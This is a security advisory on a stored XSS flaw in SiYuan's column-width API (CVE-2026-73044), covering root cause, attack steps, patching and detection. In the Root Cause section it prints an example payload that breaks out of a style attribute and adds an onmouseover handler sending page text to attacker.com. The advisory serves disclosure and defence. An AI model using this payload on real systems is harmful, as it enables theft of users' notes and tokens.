SiYuan Column Width API Stored XSS (CVE-2026-73044)

Executive Summary

CVE-2026-73044 is a stored cross-site scripting (XSS) vulnerability in SiYuan versions prior to v3.7.4. The vulnerability exists in how SiYuan renders table column width values: the setAttrViewColWidth API accepts arbitrary string values for column widths and injects them directly into HTML style attributes without escaping. An attacker can break out of the style context and inject event-handler attributes that execute arbitrary JavaScript.

CVSS Score: 9.0 (Critical)

Vulnerability Overview

Root Cause

SiYuan's setAttrViewColWidth API endpoint accepts a column width string value and stores it in the database. When the database table is rendered, the width value is placed directly inside a style attribute (e.g., style="width: <value>"). Without output escaping, an attacker can supply a value like:

100px" onmouseover="fetch('https://attacker.com/?d='+document.body.innerText)

This breaks out of the style attribute context and injects an active event handler that fires on every hover over any column header in that table.

Attack Scenario

1. Attacker calls setAttrViewColWidth API with a malicious width value
2. Payload stored persistently in SiYuan's database
3. Any user who views the database table with affected columns triggers the XSS
4. Injected JavaScript executes in victim's browser context
5. Attacker can exfiltrate notes, tokens, or perform actions as the victim

Why Style Attribute Injection Is Dangerous

Style attribute XSS is often overlooked because developers focus on script-context injection. However, breaking out of a style attribute is straightforward — a closing quote ends the attribute value, and subsequent text lands in the HTML element's attribute space where event handlers are valid.

Affected Versions

Remediation

Patch

Update SiYuan to v3.7.4 or later. The fix validates and sanitizes column width values before storage and enforces safe rendering — only numeric + unit values (e.g., 120px) are accepted.

If Immediate Patching Is Not Possible

1. Restrict API access — limit which users or processes can call setAttrViewColWidth.
2. Audit existing databases — inspect .sy files for column width values containing quotes or HTML.
3. Disable shared database access until patched.

Detection

Search SiYuan's data/ .sy files for attribute-view column width values containing:

• Quotation marks (" or ')
• Event handler keywords (onerror, onmouseover, onclick, etc.)
• Anything other than valid CSS unit values (px, em, %, rem)

Key Takeaways

1. CVSS 9.0 Critical — API-injectable stored XSS affecting all viewers of any table with a poisoned column
2. Style-attribute context injection is easy to miss during code review — use strict allowlist validation for CSS values
3. Patch to SiYuan v3.7.4 immediately for any networked or shared installation
4. Part of a cluster of 4 XSS/auth issues fixed in v3.7.4 — treat as a group patch

References

• NVD — CVE-2026-73044
• SiYuan GitHub

Related Advisories

• SiYuan Database Menu XSS — CVE-2026-73042
• SiYuan Auth Brute-Force — CVE-2026-73046
• SiYuan Select Color XSS — CVE-2026-73050